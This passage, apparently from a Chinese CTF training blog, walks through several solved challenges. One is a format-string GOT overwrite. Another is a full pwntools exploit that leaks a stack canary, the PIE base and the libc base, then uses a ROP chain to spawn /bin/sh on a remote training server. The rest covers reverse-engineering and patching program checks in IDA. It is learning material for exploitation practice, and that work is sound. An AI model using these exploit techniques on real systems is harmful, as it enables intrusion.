再计算我们要用到的 system 地址:

system_addr = libc_base + libc.symbols['system']

然后我们的目标就是把程序 printf 的 got 表位置篡改成 system 的,再使其读入 ‘/bin/sh’ 实现劫持。

在编程中,GOT(Global Offset Table,全局偏移表)和PLT(Procedure Linkage Table,过程链接表)是与动态链接和共享库相关的概念,通常用于C/C++程序的编译和链接过程中。

GOT(Global Offset Table)

GOT 是一个表格,用于存储程序运行时需要访问的全局变量或函数的实际地址。当程序使用共享库中的函数时,这些函数的实际地址在运行时才会被解析,而不是在编译时。GOT 中存储了这些动态链接函数的地址。

PLT(Procedure Linkage Table)

PLT 是另一个表格,主要用于间接调用共享库中的函数。当程序第一次调用一个共享库中的函数时,会通过 PLT 跳转到动态链接器来解析该函数的地址,然后将该地址存储在 GOT 中,以便后续调用可以直接从 GOT 中获取地址,避免再次解析。

.got.plt 和 .plt.got

在反汇编工具如 IDA 中,你可能会看到 .got.plt.plt.got 这样的段名。

  • .got.plt:这是 GOT 表的一部分,专门用于存储由 PLT 表调用的函数地址。在动态链接库的首次调用过程中,PLT 会将函数的实际地址存储到 .got.plt 表中。
  • .plt.got:这个段名相对少见,通常与特定的编译器或链接器实现相关,表示 PLT 和 GOT 的混合区域或特定的优化技术。其具体含义可能取决于使用的编译工具链。

总之,GOT 和 PLT 之间的关系是:PLT 通过跳转表实现函数调用,GOT 存储这些函数的地址,目的是优化动态链接库函数的调用效率。

pwntools 中自带函数 fmtstr_payload 可以帮我们快速构造 payload:

payload = fmtstr_payload(6, {printf_got_addr: system_addr})
r.send(payload)
r.recv()
r.send(b'/bin/sh\x00')
r.interactive()
pwnlib.fmtstr.fmtstr_payload(offset, writes=None, numbwritten=0, write_size='byte', **kwargs)

offset: 格式化字符串参数的偏移量。这个偏移量表示你控制的输入在栈中的位置,即第几个参数。例如,如果你的输入在 printf 的第3个参数位置,offset 就是3。

writes: 一个字典,表示你想写入的地址和值。例如 {0xdeadbeef: 0xcafebabe} 表示想要将 0xcafebabe 写入地址 0xdeadbeef

numbwritten: 当前已经写入的字节数。这通常用于调整生成的payload,以确保写入正确的值。

write_size: 表示写入操作的大小,可以是 'byte'(写入一个字节),'short'(写入两个字节),或 'int'(写入四个字节)。

kwargs: 其他参数,这些参数会被传递给内部的 fmtstr 对象。

end.

31-canarypie

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  while ( (unsigned int)hello() )
    ;
  puts("See you~");
  return 0;
}
int hello()
{
  char s1[16]; // [rsp+0h] [rbp-30h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hello. What's your name?");
  read(0, buf, 0x100uLL);
  printf("Is your name `%s` correct (yes/no)?\n", buf);
  read(0, s1, 0x100uLL);
  return strncmp(s1, "yes", 3uLL);
}

解:

from pwn import *

# io = process('./canarypie')
io = remote('train2024.hitctf.cn', 26582)
elf = ELF('./canarypie')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b *$rebase(0x12df)')

# leak elf
payload_1 = flat(
    b'a' * (0x20 - 0x10),
    b'b'
)
io.sendafter("Hello. What's your name?", payload_1)
io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaab')
main_addr = u64(io.recv(5).ljust(8, b'\x00')) * 0x100 + 0xd2
elf_base = main_addr - 0x12d2
success(f'main_addr: {hex(main_addr)}')
success(f'elf_base: {hex(elf_base)}')
io.recv()
io.send(b'no')

# leak canary
payload_2 = flat(
    b'a' * (0x20 - 0x8),
    b'b',
)
io.sendafter("Hello. What's your name?", payload_2)

io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaaaaaaaaaab')
canary = u64(io.recv(7).rjust(8, b'\x00'))
success(f'canary: {hex(canary)}')
io.recv()
payload_3 = flat(
    b'a' * (0x30 - 0x8),
    canary
)
io.send(payload_3)

# leak libc
payload_4 = flat(
    b'a' * (0x20 + 0x18)
)
io.sendafter("Hello. What's your name?", payload_4)
io.recvuntil(b'Is your name `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
libc_start_call_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 128
success(f'libc_start_call_main_addr: {hex(libc_start_call_main_addr)}')
libc_start_main_addr = libc_start_call_main_addr + 0xb0

libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
success(f'libc_base: {hex(libc_base)}')

ret = elf_base + 0x101a
io.recv()
payload_5 = flat(
    b'a' * (0x30 - 0x8),
    canary,
    0,
    ret,
    main_addr
)
io.send(payload_5)

# ROP
# libc
# 0x000000000002a3e5 : pop rdi ; ret
# elf
# 0x000000000000101a : ret
pop_rdi = libc_base + 0x2a3e5
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload_6 = flat(
    b'a' * (0x30 - 8),
    canary,
    0,
    ret,
    pop_rdi,
    sh_addr,
    sys_addr
)
io.sendafter("Hello. What's your name?", b'ponder')
io.recv()
io.sendafter('Is your name `ponder` correct (yes/no)?', payload_6)

io.interactive()

走过的坑:栈上找不到 libc 相关地址。

只需加载 glibc_all_in_one 中的 libc 和 interpreter 就能显示出来:

不要认为它不在栈上就不能泄露,实际上只要在前面填满垃圾字符照样能泄露这玩意的地址。

但是要注意 libc 里面没有这个函数,只有 __libc_start_main ,而在调试中我们可以发现这两个东西地址的差值是固定的,所以泄露一个就等于泄露了另一个。

后面重启 main 函数虽然正常输出了 “Hello. What’s your name?” 但在读入后挂掉,这时候要首先想到栈对齐的问题!

34-ez-reverse_1

int __fastcall main_0(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  size_t v5; // rax
  char v7; // [rsp+0h] [rbp-20h] BYREF
  int j; // [rsp+24h] [rbp+4h]
  char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
  __int64 v10; // [rsp+128h] [rbp+108h]

  v3 = &v7;
  for ( i = 82i64; i; --i )
  {
    *(_DWORD *)v3 = -858993460;
    v3 += 4;
  }
  for ( j = 0; ; ++j )
  {
    v10 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 111 )
      Str2[j] = 48;
  }
  sub_1400111D1("input the flag:");
  sub_14001128F("%20s", Str1);
  v5 = j_strlen(Str2);
  if ( !strncmp(Str1, Str2, v5) )
    sub_1400111D1("this is the right flag!\n");
  else
    sub_1400111D1("wrong flag\n");
  return 0;
}

查看到 Str2 的值为:Lilac{rEost4rT}

  for ( j = 0; ; ++j )
  {
    v10 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 'o' )
      Str2[j] = '0';
  }

这段代码显然将 Str2 中所有 o 都变成了 0,所以最后的 flag 应该是:Lilac{rE0st4rT}

对于没有开反调试的程序,又能看到

if ( !strncmp(Str1, Str2, v5) )
    sub_1400111D1("this is the right flag!\n");

这种语句,我们可以在这条判断语句的位置下断点,开启 ida 调试功能,查看程序运行到这里时 Str2 的值是多少,这样可以直接拿到 flag.

可以看到已经直接显示了 flag.

35-babyRust

Linux 远程调试与 patch.

将 ida 的 dbgsrv 目录下 linux_server64 文件拖入被调试文件的文件夹,打开 wsl 查询 ip 地址,启动linux_server64 文件,并在 ida Process options 中填写 ip 即可连接。

当连接非正常断开,wsl 还在运行那个进程而没有释放端口号,则会出现

0.0.0.0:23946: bind: Address already in use

的错误,无法再次连接。此时可以

sudo lsof -i :23946

查询占用端口的进程 PID:

COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
linux_ser 577 ponder    3u  IPv4  22568      0t0  TCP *:23946 (LISTEN)

再强制杀死即可:

sudo kill -9 577

shift F12 且 Ctrl F 查找 “plz” 后双击查看变量所在位置,按 a 将其转成字符串,按 x 查找哪里引用到了这个变量。

跟踪 no try again 字符串,右键 Graph view 可以看到程序大致结构。

可以看到,1 处的 no try again 显然是由 2 处的 compare 语句造成的分支。在 2 处打上断点后,将鼠标置于 cmp 的两个变量之上,发现 eax 是我们输入的值,那么左边变量即为预设的判定值。那么我们只需要篡改预设值为我们自己输入的值,程序就能跳转到我们想去的地方。

双击左侧变量,我们来到存储预设值的地址。可以看到这次预设值为 8 . 我们复制 8 左侧的地址,并在下方 Hex View 窗口中按 g 跳转到该位置:

此时可以右击选择 Edit 修改这个值,将它改为我们自己输入的值。

记得右键或 F2 保存。

(如果想退出编辑模式,按 esc 即可)

继续运行,我们发现程序成功输出了 “猜对了,第 1 次”.

继续观察成功后跳转的分支,我们又能发现一个 cmp 语句:

双击左边变量,我们发现当前它的值为 1.

再进行一次成功猜数,我们发现它的值为 2.

因此我们有理由认为这个值代表着我们猜对的次数,而达到 0x64 次才会给 flag.

所以我们可以在这个地方下断点,按照上面的方法篡改变量为 0x64,再继续运行,成功让程序输出“恭喜你获得flag”,并生成 flag 文件。

上一篇
下一篇